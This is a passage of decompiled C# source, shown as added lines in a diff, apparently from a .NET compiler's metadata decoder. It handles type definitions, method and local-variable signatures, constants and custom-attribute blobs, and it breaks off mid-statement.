+ private TypeSymbol GetTypeOfTypeDef(TypeDefinitionHandle typeDef, out bool isNoPiaLocalType, bool isContainingType) + { + try + { + ConcurrentDictionary typeHandleToTypeMap = GetTypeHandleToTypeMap(); + if (typeHandleToTypeMap != null && typeHandleToTypeMap.TryGetValue(typeDef, out var value)) + { + if (!Module.IsNestedTypeDefOrThrow(typeDef) && Module.IsNoPiaLocalType(typeDef)) + { + isNoPiaLocalType = true; + } + else + { + isNoPiaLocalType = false; + } + return value; + } + string typeDefNameOrThrow = Module.GetTypeDefNameOrThrow(typeDef); + MetadataTypeName emittedName; + if (Module.IsNestedTypeDefOrThrow(typeDef)) + { + TypeDefinitionHandle containingTypeOrThrow = Module.GetContainingTypeOrThrow(typeDef); + if (containingTypeOrThrow.IsNil) + { + isNoPiaLocalType = false; + return GetUnsupportedMetadataTypeSymbol(); + } + TypeSymbol typeOfTypeDef = GetTypeOfTypeDef(containingTypeOrThrow, out isNoPiaLocalType, isContainingType: true); + if (isNoPiaLocalType) + { + if (!isContainingType) + { + isNoPiaLocalType = false; + } + return GetUnsupportedMetadataTypeSymbol(); + } + emittedName = MetadataTypeName.FromTypeName(typeDefNameOrThrow); + return LookupNestedTypeDefSymbol(typeOfTypeDef, ref emittedName); + } + string typeDefNamespaceOrThrow = Module.GetTypeDefNamespaceOrThrow(typeDef); + emittedName = ((typeDefNamespaceOrThrow.Length > 0) ? MetadataTypeName.FromNamespaceAndTypeName(typeDefNamespaceOrThrow, typeDefNameOrThrow) : MetadataTypeName.FromTypeName(typeDefNameOrThrow)); + if (Module.IsNoPiaLocalType(typeDef, out var interfaceGuid, out var scope, out var identifier)) + { + isNoPiaLocalType = true; + if (!Module.HasGenericParametersOrThrow(typeDef)) + { + MetadataTypeName name = MetadataTypeName.FromNamespaceAndTypeName(emittedName.NamespaceName, emittedName.TypeName, useCLSCompliantNameArityEncoding: false, 0); + return SubstituteNoPiaLocalType(typeDef, ref name, interfaceGuid, scope, identifier); + } + value = GetUnsupportedMetadataTypeSymbol(); + if (typeHandleToTypeMap != null) + { + value = typeHandleToTypeMap.GetOrAdd(typeDef, value); + } + return value; + } + isNoPiaLocalType = false; + return LookupTopLevelTypeDefSymbol(ref emittedName, out isNoPiaLocalType); + } + catch (BadImageFormatException exception) + { + isNoPiaLocalType = false; + return GetUnsupportedMetadataTypeSymbol(exception); + } + } + + private ImmutableArray> DecodeModifiersOrThrow(ref BlobReader signatureReader, out SignatureTypeCode typeCode) + { + ArrayBuilder> arrayBuilder = null; + while (true) + { + typeCode = signatureReader.ReadSignatureTypeCode(); + bool isOptional; + if (typeCode == SignatureTypeCode.RequiredModifier) + { + isOptional = false; + } + else + { + if (typeCode != SignatureTypeCode.OptionalModifier) + { + break; + } + isOptional = true; + } + TypeSymbol modifier = DecodeModifierTypeOrThrow(ref signatureReader); + ModifierInfo item = new ModifierInfo(isOptional, modifier); + if (arrayBuilder == null) + { + arrayBuilder = ArrayBuilder>.GetInstance(); + } + arrayBuilder.Add(item); + } + return arrayBuilder?.ToImmutableAndFree() ?? default(ImmutableArray>); + } + + private TypeSymbol DecodeModifierTypeOrThrow(ref BlobReader signatureReader) + { + EntityHandle entityHandle = signatureReader.ReadTypeHandle(); + while (true) + { + bool isNoPiaLocalType; + BlobReader ppSig; + switch (entityHandle.Kind) + { + case HandleKind.TypeDefinition: + { + TypeSymbol typeOfTypeRef = GetTypeOfTypeDef((TypeDefinitionHandle)entityHandle, out isNoPiaLocalType, isContainingType: false); + return SubstituteWithUnboundIfGeneric(typeOfTypeRef); + } + case HandleKind.TypeReference: + { + TypeSymbol typeOfTypeRef = GetTypeOfTypeRef((TypeReferenceHandle)entityHandle, out isNoPiaLocalType); + return SubstituteWithUnboundIfGeneric(typeOfTypeRef); + } + case HandleKind.TypeSpecification: + { + ppSig = Module.GetTypeSpecificationSignatureReaderOrThrow((TypeSpecificationHandle)entityHandle); + SignatureTypeCode signatureTypeCode = ppSig.ReadSignatureTypeCode(); + switch (signatureTypeCode) + { + case SignatureTypeCode.Void: + case SignatureTypeCode.Boolean: + case SignatureTypeCode.Char: + case SignatureTypeCode.SByte: + case SignatureTypeCode.Byte: + case SignatureTypeCode.Int16: + case SignatureTypeCode.UInt16: + case SignatureTypeCode.Int32: + case SignatureTypeCode.UInt32: + case SignatureTypeCode.Int64: + case SignatureTypeCode.UInt64: + case SignatureTypeCode.Single: + case SignatureTypeCode.Double: + case SignatureTypeCode.String: + case SignatureTypeCode.TypedReference: + case SignatureTypeCode.IntPtr: + case SignatureTypeCode.UIntPtr: + case SignatureTypeCode.Object: + return GetSpecialType(signatureTypeCode.ToSpecialType()); + case SignatureTypeCode.TypeHandle: + break; + case SignatureTypeCode.GenericTypeInstance: + { + bool refersToNoPiaLocalType; + return DecodeGenericTypeInstanceOrThrow(ref ppSig, out refersToNoPiaLocalType); + } + default: + throw new UnsupportedSignatureContent(); + } + break; + } + default: + throw new UnsupportedSignatureContent(); + } + entityHandle = ppSig.ReadTypeHandle(); + } + } + + internal ImmutableArray> DecodeLocalSignatureOrThrow(ref BlobReader signatureReader) + { + SignatureHeader signatureHeader = signatureReader.ReadSignatureHeader(); + if (signatureHeader.Kind != SignatureKind.LocalVariables) + { + throw new UnsupportedSignatureContent(); + } + GetSignatureCountsOrThrow(ref signatureReader, signatureHeader, out var parameterCount, out var _); + ArrayBuilder> instance = ArrayBuilder>.GetInstance(parameterCount); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(parameterCount); + try + { + for (int i = 0; i < parameterCount; i++) + { + instance2.Add(signatureReader.Offset); + instance.Add(DecodeLocalVariableOrThrow(ref signatureReader)); + } + if (signatureReader.RemainingBytes > 0) + { + throw new UnsupportedSignatureContent(); + } + signatureReader.Reset(); + for (int j = 0; j < parameterCount; j++) + { + int num = instance2[j]; + while (signatureReader.Offset < num) + { + signatureReader.ReadByte(); + } + int byteCount = ((j < parameterCount - 1) ? (instance2[j + 1] - num) : signatureReader.RemainingBytes); + byte[] signature = signatureReader.ReadBytes(byteCount); + instance[j] = instance[j].WithSignature(signature); + } + return instance.ToImmutable(); + } + finally + { + instance2.Free(); + instance.Free(); + } + } + + internal TypeSymbol DecodeGenericParameterConstraint(EntityHandle token, out ImmutableArray> modifiers) + { + modifiers = ImmutableArray>.Empty; + bool isNoPiaLocalType; + switch (token.Kind) + { + case HandleKind.TypeSpecification: + try + { + BlobReader signatureReader = Module.GetTypeSpecificationSignatureReaderOrThrow((TypeSpecificationHandle)token); + modifiers = DecodeModifiersOrThrow(ref signatureReader, out var typeCode); + return DecodeTypeOrThrow(ref signatureReader, typeCode, out isNoPiaLocalType); + } + catch (BadImageFormatException exception) + { + return GetUnsupportedMetadataTypeSymbol(exception); + } + catch (UnsupportedSignatureContent) + { + return GetUnsupportedMetadataTypeSymbol(); + } + case HandleKind.TypeReference: + return GetTypeOfTypeRef((TypeReferenceHandle)token, out isNoPiaLocalType); + case HandleKind.TypeDefinition: + return GetTypeOfTypeDef((TypeDefinitionHandle)token); + default: + return GetUnsupportedMetadataTypeSymbol(); + } + } + + internal LocalInfo DecodeLocalVariableOrThrow(ref BlobReader signatureReader) + { + SignatureTypeCode typeCode; + ImmutableArray> immutableArray = DecodeModifiersOrThrow(ref signatureReader, out typeCode); + if (immutableArray.AnyRequired()) + { + throw new UnsupportedSignatureContent(); + } + LocalSlotConstraints localSlotConstraints = LocalSlotConstraints.None; + if (typeCode == SignatureTypeCode.Pinned) + { + localSlotConstraints |= LocalSlotConstraints.Pinned; + typeCode = signatureReader.ReadSignatureTypeCode(); + } + if (typeCode == SignatureTypeCode.ByReference) + { + localSlotConstraints |= LocalSlotConstraints.ByRef; + typeCode = signatureReader.ReadSignatureTypeCode(); + } + TypeSymbol type; + if (typeCode == SignatureTypeCode.TypedReference && localSlotConstraints != LocalSlotConstraints.None) + { + type = GetUnsupportedMetadataTypeSymbol(); + } + else + { + try + { + type = DecodeTypeOrThrow(ref signatureReader, typeCode, out var _); + } + catch (UnsupportedSignatureContent) + { + type = GetUnsupportedMetadataTypeSymbol(); + } + } + return new LocalInfo(type, immutableArray, localSlotConstraints, null); + } + + internal void DecodeLocalConstantBlobOrThrow(ref BlobReader sigReader, out TypeSymbol type, out ConstantValue value) + { + if (DecodeModifiersOrThrow(ref sigReader, out var typeCode).AnyRequired()) + { + throw new UnsupportedSignatureContent(); + } + if (typeCode == SignatureTypeCode.TypeHandle) + { + type = GetSymbolForTypeHandleOrThrow(sigReader.ReadTypeHandle(), out var _, allowTypeSpec: true, requireShortForm: true); + if (type.SpecialType == SpecialType.System_Decimal) + { + value = ConstantValue.Create(sigReader.ReadDecimal()); + } + else if (type.SpecialType == SpecialType.System_DateTime) + { + value = ConstantValue.Create(sigReader.ReadDateTime()); + } + else if (sigReader.RemainingBytes == 0) + { + value = ((type.IsReferenceType || type.TypeKind == TypeKind.Pointer || type.TypeKind == TypeKind.FunctionPointer) ? ConstantValue.Null : ConstantValue.Bad); + } + else + { + value = ConstantValue.Bad; + } + return; + } + value = DecodePrimitiveConstantValue(ref sigReader, typeCode, out var isEnumTypeCode); + SpecialType specialType = typeCode.ToSpecialType(); + if (isEnumTypeCode && sigReader.RemainingBytes > 0) + { + type = GetSymbolForTypeHandleOrThrow(sigReader.ReadTypeHandle(), out var _, allowTypeSpec: true, requireShortForm: true); + TypeSymbol enumUnderlyingType = GetEnumUnderlyingType(type); + if (enumUnderlyingType == null || enumUnderlyingType.SpecialType != specialType) + { + throw new UnsupportedSignatureContent(); + } + } + else + { + type = GetSpecialType(specialType); + } + if (sigReader.RemainingBytes <= 0) + { + return; + } + throw new UnsupportedSignatureContent(); + } + + private static ConstantValue DecodePrimitiveConstantValue(ref BlobReader sigReader, SignatureTypeCode typeCode, out bool isEnumTypeCode) + { + switch (typeCode) + { + case SignatureTypeCode.Boolean: + isEnumTypeCode = true; + return ConstantValue.Create(sigReader.ReadBoolean()); + case SignatureTypeCode.Char: + isEnumTypeCode = true; + return ConstantValue.Create(sigReader.ReadChar()); + case SignatureTypeCode.SByte: + isEnumTypeCode = true; + return ConstantValue.Create(sigReader.ReadSByte()); + case SignatureTypeCode.Byte: + isEnumTypeCode = true; + return ConstantValue.Create(sigReader.ReadByte()); + case SignatureTypeCode.Int16: + isEnumTypeCode = true; + return ConstantValue.Create(sigReader.ReadInt16()); + case SignatureTypeCode.UInt16: + isEnumTypeCode = true; + return ConstantValue.Create(sigReader.ReadUInt16()); + case SignatureTypeCode.Int32: + isEnumTypeCode = true; + return ConstantValue.Create(sigReader.ReadInt32()); + case SignatureTypeCode.UInt32: + isEnumTypeCode = true; + return ConstantValue.Create(sigReader.ReadUInt32()); + case SignatureTypeCode.Int64: + isEnumTypeCode = true; + return ConstantValue.Create(sigReader.ReadInt64()); + case SignatureTypeCode.UInt64: + isEnumTypeCode = true; + return ConstantValue.Create(sigReader.ReadUInt64()); + case SignatureTypeCode.Single: + isEnumTypeCode = false; + return ConstantValue.Create(sigReader.ReadSingle()); + case SignatureTypeCode.Double: + isEnumTypeCode = false; + return ConstantValue.Create(sigReader.ReadDouble()); + case SignatureTypeCode.String: + isEnumTypeCode = false; + if (sigReader.RemainingBytes == 1) + { + if (sigReader.ReadByte() != byte.MaxValue) + { + return ConstantValue.Bad; + } + return ConstantValue.Null; + } + if (sigReader.RemainingBytes % 2 != 0) + { + return ConstantValue.Bad; + } + return ConstantValue.Create(sigReader.ReadUTF16(sigReader.RemainingBytes)); + case SignatureTypeCode.Object: + isEnumTypeCode = false; + return ConstantValue.Null; + default: + throw new UnsupportedSignatureContent(); + } + } + + internal ImmutableArray> GetLocalsOrThrow(StandaloneSignatureHandle handle) + { + BlobHandle signature = Module.MetadataReader.GetStandaloneSignature(handle).Signature; + BlobReader signatureReader = Module.MetadataReader.GetBlobReader(signature); + return DecodeLocalSignatureOrThrow(ref signatureReader); + } + + internal unsafe TypeSymbol DecodeLocalVariableTypeOrThrow(ImmutableArray signature) + { + if (signature.IsDefaultOrEmpty) + { + throw new UnsupportedSignatureContent(); + } + fixed (byte* buffer = signature.AsSpan()) + { + BlobReader signatureReader = new BlobReader(buffer, signature.Length); + LocalInfo localInfo = DecodeLocalVariableOrThrow(ref signatureReader); + if (localInfo.IsByRef || localInfo.IsPinned) + { + throw new UnsupportedSignatureContent(); + } + return localInfo.Type; + } + } + + internal ImmutableArray> GetLocalInfo(StandaloneSignatureHandle localSignatureHandle) + { + if (localSignatureHandle.IsNil) + { + return ImmutableArray>.Empty; + } + MetadataReader metadataReader = Module.MetadataReader; + BlobHandle signature = metadataReader.GetStandaloneSignature(localSignatureHandle).Signature; + BlobReader signatureReader = metadataReader.GetBlobReader(signature); + return DecodeLocalSignatureOrThrow(ref signatureReader); + } + + private void DecodeParameterOrThrow(ref BlobReader signatureReader, ref ParamInfo info) + { + info.CustomModifiers = DecodeModifiersOrThrow(ref signatureReader, out var typeCode); + if (typeCode == SignatureTypeCode.ByReference) + { + info.IsByRef = true; + info.RefCustomModifiers = info.CustomModifiers; + info.CustomModifiers = DecodeModifiersOrThrow(ref signatureReader, out typeCode); + } + info.Type = DecodeTypeOrThrow(ref signatureReader, typeCode, out var _); + } + + internal ParamInfo[] GetSignatureForMethod(MethodDefinitionHandle methodDef, out SignatureHeader signatureHeader, out BadImageFormatException metadataException, bool setParamHandles = true) + { + ParamInfo[] array = null; + signatureHeader = default(SignatureHeader); + try + { + BlobHandle methodSignatureOrThrow = Module.GetMethodSignatureOrThrow(methodDef); + BlobReader signatureReader = DecodeSignatureHeaderOrThrow(methodSignatureOrThrow, out signatureHeader); + array = DecodeSignatureParametersOrThrow(ref signatureReader, signatureHeader, out var _); + if (setParamHandles) + { + int num = array.Length; + foreach (ParameterHandle item in Module.GetParametersOfMethodOrThrow(methodDef)) + { + int parameterSequenceNumberOrThrow = Module.GetParameterSequenceNumberOrThrow(item); + if (parameterSequenceNumberOrThrow >= 0 && parameterSequenceNumberOrThrow < num && array[parameterSequenceNumberOrThrow].Handle.IsNil) + { + array[parameterSequenceNumberOrThrow].Handle = item; + } + } + } + metadataException = null; + } + catch (BadImageFormatException ex) + { + BadImageFormatException exception = (metadataException = ex); + if (array == null) + { + array = new ParamInfo[1]; + array[0].Type = GetUnsupportedMetadataTypeSymbol(exception); + } + } + return array; + } + + internal static void GetSignatureCountsOrThrow(PEModule module, MethodDefinitionHandle methodDef, out int parameterCount, out int typeParameterCount) + { + BlobHandle methodSignatureOrThrow = module.GetMethodSignatureOrThrow(methodDef); + SignatureHeader signatureHeader; + BlobReader signatureReader = DecodeSignatureHeaderOrThrow(module, methodSignatureOrThrow, out signatureHeader); + GetSignatureCountsOrThrow(ref signatureReader, signatureHeader, out parameterCount, out typeParameterCount); + } + + internal ParamInfo[] GetSignatureForProperty(PropertyDefinitionHandle handle, out SignatureHeader signatureHeader, out BadImageFormatException BadImageFormatException) + { + ParamInfo[] array = null; + signatureHeader = default(SignatureHeader); + try + { + BlobHandle propertySignatureOrThrow = Module.GetPropertySignatureOrThrow(handle); + BlobReader signatureReader = DecodeSignatureHeaderOrThrow(propertySignatureOrThrow, out signatureHeader); + array = DecodeSignatureParametersOrThrow(ref signatureReader, signatureHeader, out var _); + BadImageFormatException = null; + } + catch (BadImageFormatException ex) + { + BadImageFormatException exception = (BadImageFormatException = ex); + if (array == null) + { + array = new ParamInfo[1]; + array[0].Type = GetUnsupportedMetadataTypeSymbol(exception); + } + } + return array; + } + + internal SignatureHeader GetSignatureHeaderForProperty(PropertyDefinitionHandle handle) + { + try + { + BlobHandle propertySignatureOrThrow = Module.GetPropertySignatureOrThrow(handle); + DecodeSignatureHeaderOrThrow(propertySignatureOrThrow, out var signatureHeader); + return signatureHeader; + } + catch (BadImageFormatException) + { + return default(SignatureHeader); + } + } + + private void DecodeCustomAttributeParameterTypeOrThrow(ref BlobReader sigReader, out SerializationTypeCode typeCode, out TypeSymbol type, out SerializationTypeCode elementTypeCode, out TypeSymbol elementType, bool isElementType) + { + SignatureTypeCode signatureTypeCode = sigReader.ReadSignatureTypeCode(); + if (signatureTypeCode == SignatureTypeCode.SZArray) + { + if (isElementType) + { + throw new UnsupportedSignatureContent(); + } + DecodeCustomAttributeParameterTypeOrThrow(ref sigReader, out elementTypeCode, out elementType, out var _, out var _, isElementType: true); + type = GetSZArrayTypeSymbol(elementType, default(ImmutableArray>)); + typeCode = SerializationTypeCode.SZArray; + return; + } + elementTypeCode = SerializationTypeCode.Invalid; + elementType = null; + switch (signatureTypeCode) + { + case SignatureTypeCode.Object: + type = GetSpecialType(SpecialType.System_Object); + typeCode = SerializationTypeCode.TaggedObject; + return; + case SignatureTypeCode.Boolean: + case SignatureTypeCode.Char: + case SignatureTypeCode.SByte: + case SignatureTypeCode.Byte: + case SignatureTypeCode.Int16: + case SignatureTypeCode.UInt16: + case SignatureTypeCode.Int32: + case SignatureTypeCode.UInt32: + case SignatureTypeCode.Int64: + case SignatureTypeCode.UInt64: + case SignatureTypeCode.Single: + case SignatureTypeCode.Double: + case SignatureTypeCode.String: + type = GetSpecialType(signatureTypeCode.ToSpecialType()); + typeCode = (SerializationTypeCode)signatureTypeCode; + return; + case SignatureTypeCode.TypeHandle: + { + type = GetSymbolForTypeHandleOrThrow(sigReader.ReadTypeHandle(), out var _, allowTypeSpec: true, requireShortForm: true); + TypeSymbol enumUnderlyingType = GetEnumUnderlyingType(type); + if (enumUnderlyingType != null) + { + typeCode = enumUnderlyingType.SpecialType.ToSerializationType(); + return; + } + if (type == base.SystemTypeSymbol) + { + typeCode = SerializationTypeCode.Type; + return; + } + break; + } + } + throw new UnsupportedSignatureContent(); + } + + private void DecodeCustomAttributeFieldOrPropTypeOrThrow(ref BlobReader argReader, out SerializationTypeCode typeCode, out TypeSymbol type, out SerializationTypeCode elementTypeCode, out TypeSymbol elementType, bool isElementType) + { + typeCode = argReader.ReadSerializationTypeCode(); + if (typeCode == SerializationTypeCode.SZArray) + { + if (isElementType) + { + throw new UnsupportedSignatureContent(); + } + DecodeCustomAttributeFieldOrPropTypeOrThrow(ref argReader, out elementTypeCode, out elementType, out var _, out var _, isElementType: true); + type = GetSZArrayTypeSymbol(elementType, default(ImmutableArray>)); + return; + } + elementTypeCode = SerializationTypeCode.Invalid; + elementType = null; + switch (typeCode) + { + case SerializationTypeCode.TaggedObject: + type = GetSpecialType(SpecialType.System_Object); + break; + case SerializationTypeCode.Enum: + { + if (!PEModule.CrackStringInAttributeValue(out string value, ref argReader)) + { + throw new UnsupportedSignatureContent(); + } + type = GetTypeSymbolForSerializedType(value); + TypeSymbol enumUnderlyingType = GetEnumUnderlyingType(type); + if (enumUnderlyingType == null) + { + throw new UnsupportedSignatureContent(); + } + typeCode = enumUnderlyingType.SpecialType.ToSerializationType(); + break; + } + case SerializationTypeCode.Type: + type = base.SystemTypeSymbol; + break; + case SerializationTypeCode.Boolean: + case SerializationTypeCode.Char: + case SerializationTypeCode.SByte: + case SerializationTypeCode.Byte: + case SerializationTypeCode.Int16: + case SerializationTypeCode.UInt16: + case SerializationTypeCode.Int32: + case SerializationTypeCode.UInt32: + case SerializationTypeCode.Int64: + case SerializationTypeCode.UInt64: + case SerializationTypeCode.Single: + case SerializationTypeCode.Double: + case SerializationTypeCode.String: + type = GetSpecialType(((SignatureTypeCode)typeCode).ToSpecialType()); + break; + default: + throw new UnsupportedSignatureContent(); + } + } + + private TypedConstant DecodeCustomAttributeFixedArgumentOrThrow(ref BlobReader sigReader, ref BlobReader argReader) + { + DecodeCustomAttributeParameterTypeOrThrow(ref sigReader, out var typeCode, out var type, out var elementTypeCode, out var elementType, isElementType: false); + if (typeCode == SerializationTypeCode.SZArray) + { + return DecodeCustomAttributeElementArrayOrThrow(ref argReader, elementTypeCode, elementType, type); + } + return DecodeCustomAttributeElementOrThrow(ref argReader, typeCode, type); + } + + private TypedConstant DecodeCustomAttributeElementOrThrow(ref BlobReader argReader, SerializationTypeCode typeCode, TypeSymbol type) + { + if (typeCode == SerializationTypeCode.TaggedObject) + { + DecodeCustomAttributeFieldOrPropTypeOrThrow(ref argReader, out typeCode, out type, out var elementTypeCode, out var elementType, isElementType: false); + if (typeCode == SerializationTypeCode.SZArray) + { + return DecodeCustomAttributeElementArrayOrThrow(ref argReader, elementTypeCode, elementType, type); + } + } + return DecodeCustomAttributePrimitiveElementOrThrow(ref argReader, typeCode, type); + } + + private TypedConstant DecodeCustomAttributeElementArrayOrThrow(ref BlobReader argReader, SerializationTypeCode elementTypeCode, TypeSymbol elementType, TypeSymbol arrayType) + { + int num = argReader.ReadInt32(); + TypedConstant[] array; + switch (num) + { + case -1: + array = null; + break; + case 0: + array = Array.Empty(); + break; + default: + { + array = new TypedConstant[num]; + for (int i = 0; i < num; i++) + { + array[i] = DecodeCustomAttributeElementOrThrow(ref argReader, elementTypeCode, elementType); + } + break; + } + } + return CreateArrayTypedConstant(arrayType, array.AsImmutableOrNull()); + } + + private TypedConstant DecodeCustomAttributePrimitiveElementOrThrow(ref BlobReader argReader, SerializationTypeCode typeCode, TypeSymbol type) + { + switch (typeCode) + { + case SerializationTypeCode.Boolean: + return CreateTypedConstant(type, GetPrimitiveOrEnumTypedConstantKind(type), argReader.ReadSByte() != 0); + case SerializationTypeCode.SByte: + return CreateTypedConstant(type, GetPrimitiveOrEnumTypedConstantKind(type), argReader.ReadSByte()); + case SerializationTypeCode.Byte: + return CreateTypedConstant(type, GetPrimitiveOrEnumTypedConstantKind(type), argReader.ReadByte()); + case SerializationTypeCode.Int16: + return CreateTypedConstant(type, GetPrimitiveOrEnumTypedConstantKind(type), argReader.ReadInt16()); + case SerializationTypeCode.UInt16: + return CreateTypedConstant(type, GetPrimitiveOrEnumTypedConstantKind(type), argReader.ReadUInt16()); + case SerializationTypeCode.Int32: + return CreateTypedConstant(type, GetPrimitiveOrEnumTypedConstantKind(type), argReader.ReadInt32()); + case SerializationTypeCode.UInt32: + return CreateTypedConstant(type, GetPrimitiveOrEnumTypedConstantKind(type), argReader.ReadUInt32()); + case SerializationTypeCode.Int64: + return CreateTypedConstant(type, GetPrimitiveOrEnumTypedConstantKind(type), argReader.ReadInt64()); + case SerializationTypeCode.UInt64: + return CreateTypedConstant(type, GetPrimitiveOrEnumTypedConstantKind(type), argReader.ReadUInt64()); + case SerializationTypeCode.Single: + return CreateTypedConstant(type, GetPrimitiveOrEnumTypedConstantKind(type), argReader.ReadSingle()); + case SerializationTypeCode.Double: + return CreateTypedConstant(type, GetPrimitiveOrEnumTypedConstantKind(type), argReader.ReadDouble()); + case SerializationTypeCode.Char: + return CreateTypedConstant(type, GetPrimitiveOrEnumTypedConstantKind(type), argReader.ReadChar()); + case SerializationTypeCode.String: + { + string value3; + TypedConstantKind kind = (PEModule.CrackStringInAttributeValue(out value3, ref argReader) ? TypedConstantKind.Primitive : TypedConstantKind.Error); + return CreateTypedConstant(type, kind, value3); + } + case SerializationTypeCode.Type: + { + string value2; + TypeSymbol value = ((!PEModule.CrackStringInAttributeValue(out value2, ref argReader)) ? GetUnsupportedMetadataTypeSymbol() : ((value2 != null) ? GetTypeSymbolForSerializedType(value2) : null)); + return CreateTypedConstant(type, TypedConstantKind.Type, value); + } + default: + throw new UnsupportedSignatureContent(); + } + } + + private static TypedConstantKind GetPrimitiveOrEnumTypedConstantKind(TypeSymbol type) + { + if (type.TypeKind != TypeKind.Enum) + { + return TypedConstantKind.Primitive; + } + return TypedConstantKind.Enum; + } + + public (KeyValuePair nameValuePair, bool isProperty, SerializationTypeCode typeCode, SerializationTypeCode elementTypeCode) DecodeCustomAttributeNamedArgumentOrThrow(ref BlobReader argReader) + { + CustomAttributeNamedArgumentKind customAttributeNamedArgumentKind = (CustomAttributeNamedArgumentKind)argReader.ReadCompressedInteger(); + if (customAttributeNamedArgumentKind != CustomAttributeNamedArgumentKind.Field && customAttributeNamedArgumentKind != CustomAttributeNamedArgumentKind.Property) + { + throw new UnsupportedSignatureContent(); + } + DecodeCustomAttributeFieldOrPropTypeOrThrow(ref argReader, out var typeCode, out var type, out var elementTypeCode, out var elementType, isElementType: false); + if (!PEModule.CrackStringInAttributeValue(out string value, ref argReader)) + { + throw new UnsupportedSignatureContent(); + } + TypedConstant value2 = ((typeCode == SerializationTypeCode.SZArray) ? DecodeCustomAttributeElementArrayOrThrow(ref argReader, elementTypeCode, elementType, type) : DecodeCustomAttributeElementOrThrow(ref argReader, typeCode, type)); + return (nameValuePair: new KeyValuePair(value, value2), isProperty: customAttributeNamedArgumentKind == CustomAttributeNamedArgumentKind.Property, typeCode: typeCode, elementTypeCode: elementTypeCode); + } + + internal bool IsTargetAttribute(CustomAttributeHandle customAttribute, string namespaceName, string typeName, bool ignoreCase = false) + { + try + { + EntityHandle ctor; + return Module.IsTargetAttribute(customAttribute, namespaceName, typeName, out ctor, ignoreCase); + } + catch (BadImageFormatException) + { + return false; + } + } + + internal int GetTargetAttributeSignatureIndex(CustomAttributeHandle customAttribute, AttributeDescription description) + { + try + { + return Module.GetTargetAttributeSignatureIndex(customAttribute, description); + } + catch (BadImageFormatException) + { + return -1; + } + } + + internal bool GetCustomAttribute(CustomAttributeHandle handle, out TypedConstant[] positionalArgs, out KeyValuePair[] namedArgs) + { + try + { + positionalArgs = Array.Empty(); + namedArgs = Array.Empty>(); + if (Module.GetTypeAndConstructor(handle, out var _, out var attributeCtor)) + { + BlobReader argReader = Module.GetMemoryReaderOrThrow(Module.GetCustomAttributeValueOrThrow(handle)); + BlobReader sigReader = Module.GetMemoryReaderOrThrow(Module.GetMethodSignatureOrThrow(attributeCtor)); + if (argReader.ReadUInt16() != 1) + { + return false; + } + if (sigReader.ReadSignatureHeader().IsGeneric && sigReader.ReadCompressedInteger() != 0) + { + return false; + } + int num = sigReader.ReadCompressedInteger(); + if (sigReader.ReadSignatureTypeCode() != SignatureTypeCode.Void) + { + return false; + } + if (num > 0) + { + positionalArgs = new TypedConstant[num]; + for (int i = 0; i < positionalArgs.Length; i++) + { + positionalArgs[i] = DecodeCustomAttributeFixedArgumentOrThrow(ref sigReader, ref argReader); + } + } + short num2 = argReader.ReadInt16(); + if (num2 > 0) + { + namedArgs = new KeyValuePair[num2]; + for (int j = 0; j < namedArgs.Length; j++) + { + ref KeyValuePair reference = ref namedArgs[j]; + reference = DecodeCustomAttributeNamedArgumentOrThrow(ref argReader).nameValuePair; + } + } + return true; + } + } + catch (Exception ex) when (ex is UnsupportedSignatureContent || ex is BadImageFormatException) + { + positionalArgs = Array.Empty(); + namedArgs = Array.Empty>(); + } + return false; + } + + internal bool GetCustomAttribute(CustomAttributeHandle handle, [NotNullWhen(true)] out TypeSymbol? attributeClass, [NotNullWhen(true)] out MethodSymbol? attributeCtor) + { + EntityHandle ctorType; + EntityHandle attributeCtor2; + try + { + if (!Module.GetTypeAndConstructor(handle, out ctorType, out attributeCtor2)) + { + attributeClass = null; + attributeCtor = null; + return false; + } + } + catch (BadImageFormatException) + { + attributeClass = null; + attributeCtor = null; + return false; + } + attributeClass = GetTypeOfToken(ctorType); + attributeCtor = GetMethodSymbolForMethodDefOrMemberRef(attributeCtor2, attributeClass); + return true; + } + + internal bool GetCustomAttributeWellKnownType(CustomAttributeHandle handle, out WellKnownType wellKnownAttribute) + { + wellKnownAttribute = WellKnownType.Unknown; + try + { + if (!Module.GetTypeAndConstructor(handle, out var ctorType, out var _)) + { + return false; + } + if (!Module.GetAttributeNamespaceAndName(ctorType, out var namespaceHandle, out var nameHandle)) + { + return false; + } + string fullNameOrThrow = Module.GetFullNameOrThrow(namespaceHandle, nameHandle); + wellKnownAttribute = WellKnownTypes.GetTypeFromMetadataName(fullNameOrThrow); + return true; + } + catch (BadImageFormatException) + { + return false; + } + } + + private TypeSymbol[] DecodeMethodSpecTypeArgumentsOrThrow(BlobHandle signature) + { + SignatureHeader signatureHeader; + BlobReader ppSig = DecodeSignatureHeaderOrThrow(signature, out signatureHeader); + if (signatureHeader.Kind != SignatureKind.MethodSpecification) + { + throw new BadImageFormatException(); + } + int num = ppSig.ReadCompressedInteger(); + if (num == 0) + { + throw new BadImageFormatException(); + } + TypeSymbol[] array = new TypeSymbol[num]; + for (int i = 0; i < array.Length; i++) + { + array[i] = DecodeTypeOrThrow(ref ppSig, out var _); + } + return array; + } + + internal BlobReader DecodeSignatureHeaderOrThrow(BlobHandle signature, out SignatureHeader signatureHeader) + { + return DecodeSignatureHeaderOrThrow(Module, signature, out signatureHeader); + } + + internal static BlobReader DecodeSignatureHeaderOrThrow(PEModule module, BlobHandle signature, out SignatureHeader signatureHeader) + { + BlobReader memoryReaderOrThrow = module.GetMemoryReaderOrThrow(signature); + signatureHeader = memoryReaderOrThrow.ReadSignatureHeader(); + return memoryReaderOrThrow; + } + + protected ParamInfo[] DecodeSignatureParametersOrThrow(ref BlobReader signatureReader, SignatureHeader signatureHeader, out int typeParameterCount, bool shouldProcessAllBytes = true, bool isFunctionPointerSignature = false) + { + GetSignatureCountsOrThrow(ref signatureReader, signatureHeader, out var parameterCount, out typeParameterCount); + ParamInfo[] array = new ParamInfo[parameterCount + 1]; + uint num = 0u; + try + { + DecodeParameterOrThrow(ref signatureReader, ref array[0]); + for (num = 1u; num <= parameterCount; num++) + { + DecodeParameterOrThrow(ref signatureReader, ref array[num]); + } + if (shouldProcessAllBytes && signatureReader.RemainingBytes > 0) + { + throw new UnsupportedSignatureContent(); + } + } + catch (Exception ex) when ((ex is UnsupportedSignatureContent || ex is BadImageFormatException) && !isFunctionPointerSignature) + { + for (; num <= parameterCount; num++) + { + array[num].Type = GetUnsupportedMetadataTypeSymbol(ex as BadImageFormatException); + } + } + return array; + } + + private static void GetSignatureCountsOrThrow(ref BlobReader signatureReader, SignatureHeader signatureHeader, out int parameterCount, out int typeParameterCount) + { + typeParameterCount 